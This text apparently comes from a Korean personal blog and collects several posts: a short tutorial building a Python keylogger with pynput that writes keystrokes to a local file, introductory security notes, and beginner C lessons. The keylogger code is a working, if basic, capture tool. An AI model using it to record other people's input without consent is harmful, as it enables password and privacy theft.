제목과 같이 오늘은 파이썬을 사용해서 키로거를 제작을 한번 해볼려고 합니다.

 

단, 단순히 개인적인 공부목적으로 활용하는것이고 악의적인 의도는 없습니다.

(코드를 보면 간단해서 알 수 있을겁니다)

 

이제 키로거를 한번 만들어볼텐데 일단 그럼 키로거가 뭔지는 알아야겠죠?

 

Key Logger 키로거란?

컴퓨터가 받아들이는 입력 정보의 기록, 주로 키보드를 통한 입력의 데이터를 중간에 가로채는 해킹을 말한다.

대개 사용자의 동의 없이 기록을 만들고 전송하는 방식의 크래킹 도구로 쓰인다.

 

따라서 공격자가 피해자의 컴퓨터에 몰래 심어놓고 피해자의 컴퓨터에 키보드 입력을 받는다면 공격자는 

피해자의 컴퓨터의 암호를 쉽게 알 수 있겠죠? 

 

한번 키로거를 제작을 해보고 분석하는 것으로 진행해보려고 합니다 .

제목에서도 알 수 있듯이 파이썬을 사용해야하니, 관련 모듈을 한번 보겠습니다. 

 

Pynput

pynput 이란, 키보드와 마우스를 제어할 수 있는 파이썬 라이브러리이다.

이 라이브러리를 통해 키보드와 마우스 입력을 하고, 리스너 등록을 통해 키보드와 마우스로부터 들어오는

값을 가져올 수도 있다. 

 

그렇다면 Pynput 라이브러리를 통해서 키보드를 제어한다고 가정하면 키로거를 만들 수 있을거 같습니다.

한번 설치를 해보겠습니다, 

pip install pynput

 

 

이제 설치를 완료하였으니 키보드로 입력을 받아오는 코드를 작성해보도록 합시다. 

from pynput import keyboard // pynput 라이브러리 

def keyPressed(key): // 키보드 입력 받아오기
    print(str(key))
    with open("keyfile.txt",'a') as logkey: // 키로그를 Keyfile.txt 파일에 저장
        try:
            char =key.char
            logkey.write(char)
        except:
            print("Error getting char")

if __name__ == "__main__":
    listener = keyboard.Listener(on_press=keyPressed)
    listener.start()
    input()

 

실행을 시켜주면??

 

문자열로 facebook을 입력했을때 각각의 문자를 정확하게 받아오고 특수키가 'Enter' 같은 것들이 입력이 되었을때는 

특수키가 입력이 된것으로 잘 받아오고 있습니다.

이것으로 잘 돌아가는 것을 알 수 있습니다. 

 

개인정보보호법

개인정보보호법은 개인정보의 수집 유출 오용 남용으로 부터 사생활의 비밀등을 

보호함으로써 국민의 권리와 이익을 증진하고 나아가 개인의 존업과 가치를 구현하기 위하여 

개인정보 처리에 관한 사항을 규정함 -> 2011.3.29일 제정 후 2011.9.30일 시행 

 

개인정보 실태점검 

행정자치부 개인정보보호합동 점검과는 2013년 부터 본격 실시된 개인정보 실태

점검을 통한 노하우를 바탕으로 2015년에는 현재 총 380만개 사이트를 8개 분야로 나누어 

점검할 예정 

 

스피어 피싱 

특정 인물이나 집단을 겨냥해 이루어지는 개인정보 탈취 및 악성코드 유포 방식

주로 회사의 고위간부들이나 국가에 중요한 업무를 담당하고 있는 사람들이 스피어 피싱의 

주요 공격대상이 된다.  사회 공학적인 방법을 유도 

표적 공격에 사용된 스피어 피싱 이메일의 첨부 파일 유형도 바뀌고 있는데 과거에는 exe 파일

위주로 공격이 되었다면 최근에는 문서형 악성코드가 증가

 

피싱의 진화된 형태로 불특정 다수가 아닌 특정인을 타겟으로 정해놓고 맟춤형 공격을 

진행하는 만큼 공격대상이 극히 제한적이며 정교한 공격이 가능해짐 

 

랜섬웨어

PC에 저장된 데이터를 암호화 한 후 복호화 키를 댓가로 몸값을 요구하는 악성코드

오래전부터 발생한 방법이지만 이러한 유형이 많아짐 

 

APT

과거에 표적형 공격의 한 유형

공격대상은 명확하고 사용가능한 모든 방법을 동원하여 목적을 달성

목적이 달성 될때까지 지속적인 해킹 공격을 시도 

 

'Project > Security Overview' 카테고리의 다른 글

정보 보호 개론 1차  (0) 2021.09.29

정보보안 이란?

자동화된 정보 시스템 내의 자원이나 자산 -> 기밀성 / 무결성 / 가용성을 보존하기 위해 행해지는 활동

(하드웨어 소프트웨어 및 데이터 통신, 네트워크 등등)

 

해킹 

전자 회로나 컴퓨터의 H/W, S/W 네트워크 등 각종 정보 체계가 본래의 설계자나 관리자

및 운영자가 의도하지 않은 동작을 일으키도록 하거나 정보를 열람 또는 복제 가능하게 하는 행위

 

->  불법적으로 하면 크래킹 

 

보안의 3대 요소

기밀성 : 인가된 사용자만 정보 자산에 접근하는것 (방화벽, 암호, 패스워드 등)

 

무결성 : 적절한 권한을 가진 사용자가 인가한 방법으로만 정보를 변경 할 수 있도록 하는것

 

가용성 : 필요한 시점에 정보 자산에 대한 접근이 가능해지도록 하는것

 

 

'Project > Security Overview' 카테고리의 다른 글

정보 보호 개론 2차  (0) 2021.09.29

숫자를 입력받아서 팩토리얼을 구하는 코드 작성 

*팩토리얼 = !로 표기 

ex) 5! = 5x4x3x2x1 = 120 

#include <stdio.h>
#include <stdlib.h>

signed int factorial();
int main(void)
{
    signed int A;
    signed int sum = 1;
    scanf("%d",&A);

    for(int i=1;i<A+1;i++)
    {
        sum *= i;
    }
    printf("%d! = %d",A,sum);
    return 0;
}

'Project > Algorithm' 카테고리의 다른 글

C Basic - 수열의 합  (0) 2021.01.12
C Basic  (0) 2021.01.12

숫자를 입력받고 수열의 합을 구하는 코드를 작성

#include <stdio.h>
#include <stdlib.h>
 
int main(void)
{
    signed int A;
    signed int sum = 0;
    scanf("%d",&A);

    for(int i=1;i<A+1;i++)
    {
        sum += i;
    }
    printf("%d",sum);
    return 0;
}

 

'Project > Algorithm' 카테고리의 다른 글

C Basic - 팩토리얼  (0) 2021.01.12
C Basic  (0) 2021.01.12

1. Semi Colon - 세미콜론 

C언어는 구문이 끝날때 세미콜론을 붙인다.

 

printf("hello world\n");

 

세미콜론을 생략하면 컴파일에러가 발생할 수 있다.  (\n을 사용하면 다음 줄로 넘어간다.)

그러나 여러줄로 되어있지만 내용이 계속 이어지는 문법은 세미콜론을 붙이지 않는다.

 

if (a > 10)
{
    printf("a");
}

for (int i = 0; i < 10; i++)
{
    printf("Hello, world!\n");
}

 

(조건문, 반복문, 함수 등등) -> 추후 자세히 설명하겠다.

세미콜론은 문장의 마침표 역할을 한다.

세미콜론을 붙인다는 것은 구문이 끝났다는것을 명시하는 것이다.

 

2. Comment - 주석 

C언어에서 사람만 알아볼 수 있도록 작성하는 부분을 주석이라고한다.

즉, 주석을 컴파일러가 처리하지 않기 때문에 프로그램의 실행에는 영향을 주지 않는다.

일반적인 경우는 주석을 코드에대한 설명을 표기하거나 특정 코드를 임시로 컴파일되지 않도록 할때 사용한다.

 

//hello world 출력
printf("hello world!\n");

 

//을 사용하면 해당 줄은 모두 다 주석 처리가된다.

아래의 코드에서 hello world 뒤의 printf함수는 동작하지 않는다 (주석이니까)

 

int a = 1+2;//더하기
printf("hello world\n");//printf("123456678765");

 

여러줄을 한번에 주석으로 처리 할 수도 있다.

 

/*
printf("Hello, world!\n");
printf("1234567890");
*/

 

또는 범위 주석으로 한줄에서 한 부분만 주석으로 나타낼 수도 있다.

printf("Hello" /* 안녕하세요 */);

 

3. Brace - 중괄호 

C언어의 문법에서 { } 중괄호를 많이 사용하는데 보통 중괄호는 코드의 범위를 나타낸다.

다음의 코드에서 중괄호로 묶은 부분은 main함수의 범위이다.

 

int main()
{
    printf("Hello, world!\n");

    return 0;
}

 

중괄호는 if , for 등의 키워드가 영향을 미치는 영역애도 사용한다.

 

if (a > 10)
{
    printf("a");
}

for (int i = 0; i < 10; i++)
{
    printf("Hello, world!\n");
}

 

아니면 Struct (구조체)를 정의할때도 사용한다.

 

struct Hello {
    int a;
    int b;
};

 

int main()
{ // 줄의 시작 부분에서 중괄호 사용(1번 스타일)

}

int main() { // 줄의 맨 마지막에서 중괄호 사용(2번 스타일)

}

 

어느것을 사용하던지 상관 없다. 

 

 

4. Indentation - 들여쓰기 

소스 코드를 작성하다 보면 키워드에 따라서 들여쓰기를 하는 경우가 많다.

보통 { (여는 중괄호)가 시작될 때 들여쓰기를 한다.

 

 

들여쓰기를 하지 않더라도 컴파일 에러는 발생하지 않지만, 코드를 쉽게 알아볼 수 있어야 하므로 들여쓰기는 필수이다.

항상 적절한 들여쓰기를 하는 습관을 가지는것이 좋다.

다음과 같이 들여쓰기 방법은 공백(스페이스) 2칸, 4칸, 탭(tab) 등 여러 가지 방법이 있다.

 

 

C 언어에서는 들여쓰기 방법이 문법으로 정해져 있지 않다.

하지만 다른 사람이 만든 소스 코드를 수정할 때는 기존의 들여쓰기 규칙을 따르는 것이 좋다.

일반적으로는 들여쓰기를 공백 4칸으로 사용한다.

'Project > Algorithm' 카테고리의 다른 글

C Basic - 팩토리얼  (0) 2021.01.12
C Basic - 수열의 합  (0) 2021.01.12

+ Recent posts